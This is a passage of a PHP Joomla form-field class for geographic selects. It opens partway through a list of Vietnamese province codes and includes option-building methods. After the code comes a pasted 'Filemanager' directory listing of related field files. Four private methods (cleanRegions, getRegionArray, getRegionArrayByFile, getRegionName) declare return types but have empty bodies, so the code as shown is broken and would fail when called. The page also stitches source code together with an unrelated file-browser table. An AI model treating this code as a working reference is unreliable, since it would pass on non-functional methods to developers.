            'VN-36' => "Ninh Thuận",
            'VN-68' => "Phú Thọ",
            'VN-32' => "Phú Yên",
            'VN-24' => "Quảng Bình",
            'VN-27' => "Quảng Nam",
            'VN-29' => "Quảng Ngãi",
            'VN-13' => "Quảng Ninh",
            'VN-25' => "Quảng Trị",
            'VN-52' => "Sóc Trăng",
            'VN-05' => "Sơn La",
            'VN-21' => "Thanh Hóa",
            'VN-20' => "Thái Bình",
            'VN-69' => "Thái Nguyên",
            'VN-26' => "Thừa Thiên-Huế",
            'VN-46' => "Tiền Giang",
            'VN-51' => "Trà Vinh",
            'VN-07' => "Tuyên Quang",
            'VN-37' => "Tây Ninh",
            'VN-49' => "Vĩnh Long",
            'VN-70' => "Vĩnh Phúc",
            'VN-06' => "Yên Bái",
            'VN-71' => "Điện Biên",
            'VN-60' => "Đà Nẵng, thành phố",
            'VN-33' => "Đắc Lắk",
            'VN-72' => "Đắk Nông",
            'VN-39' => "Đồng Nai",
            'VN-45' => "Đồng Tháp",
        ],
    ];

    protected function getInput()
    {
        if ($this->get('group') == 'regions')
        {
            $this->use_tree_select = true;
        }

        return parent::getInput();
    }

    protected function getListOptions(array $attributes): array
    {
        $options = [];

        foreach ($this->{$attributes['group']} as $key => $val)
        {
            if (is_array($val))
            {
                $option              = self::getOption($key, $key);
                $option->level       = 0;
                $option->heading     = true;
                $option->no_checkbox = true;

                $options[] = $option;

                foreach ($val as $sub_key => $sub_val)
                {
                    $option        = self::getOption($sub_key, $sub_val);
                    $option->level = 1;

                    $options[] = $option;
                }

                continue;
            }

            $option        = self::getOption($key, $val);
            $option->level = 0;

            $options[] = $option;
        }

        return $options;
    }

    private static function getOption(string $key, mixed $val): object
    {
        if ( ! $val)
        {
            return JHtml::_('select.option', '-', '&nbsp;', 'value', 'text', true);
        }

        if ($key[0] == '-')
        {
            return JHtml::_('select.option', '-', $val, 'value', 'text', true);
        }

        $val    = RL_Form::prepareSelectItem($val);
        $option = JHtml::_('select.option', $key, $val);

        return $option;
    }

    private function cleanRegions($regions): array
    {
    }

    private function getRegionArray(): void
    {
    }

    private function getRegionArrayByFile(): string
    {
    }

    private function getRegionName($country, $region): string
    {
    }
}

Filemanager

Name Type Size Permission Actions
AccessLevelsField.php File 1.4 KB 0664
AgentsField.php File 3.55 KB 0664
AjaxField.php File 2.87 KB 0664
BlockField.php File 1.9 KB 0664
CheckboxesField.php File 5.08 KB 0664
ComponentsField.php File 5.46 KB 0664
ContentArticlesField.php File 2.73 KB 0664
ContentCategoriesField.php File 2.13 KB 0664
CustomOptionsField.php File 1.39 KB 0664
DependencyField.php File 799 B 0664
DependencyFieldHelper.php File 1.22 KB 0664
DownloadKeyField.php File 1.11 KB 0664
FieldField.php File 2.61 KB 0664
GeoField.php File 94.25 KB 0664
GeoInformationField.php File 1.66 KB 0664
HeaderField.php File 4.41 KB 0664
HeaderLibraryField.php File 1.74 KB 0664
IconToggleField.php File 1.2 KB 0664
IconsField.php File 5.89 KB 0664
ImageField.php File 1.32 KB 0664
IsInstalledField.php File 999 B 0664
JCompatibilityField.php File 1.33 KB 0664
LanguagesField.php File 1.77 KB 0664
LicenseField.php File 842 B 0664
LoadLanguageField.php File 1.06 KB 0664
LoadMediaField.php File 1.03 KB 0664
MenuItemsField.php File 3.86 KB 0664
MiniColorField.php File 1.74 KB 0664
NoteField.php File 1.6 KB 0664
OnlyProField.php File 2.34 KB 0664
RangeField.php File 1.66 KB 0664
ShowOnField.php File 1.5 KB 0664
SimpleCategoryField.php File 2.78 KB 0664
SubformField.php File 3.84 KB 0664
TagsField.php File 1.73 KB 0664
TemplatesField.php File 4.5 KB 0664
TextAreaField.php File 1.18 KB 0664
UserGroupsField.php File 1.65 KB 0664
UsersField.php File 3.03 KB 0664
VersionField.php File 1.72 KB 0664
Filemanager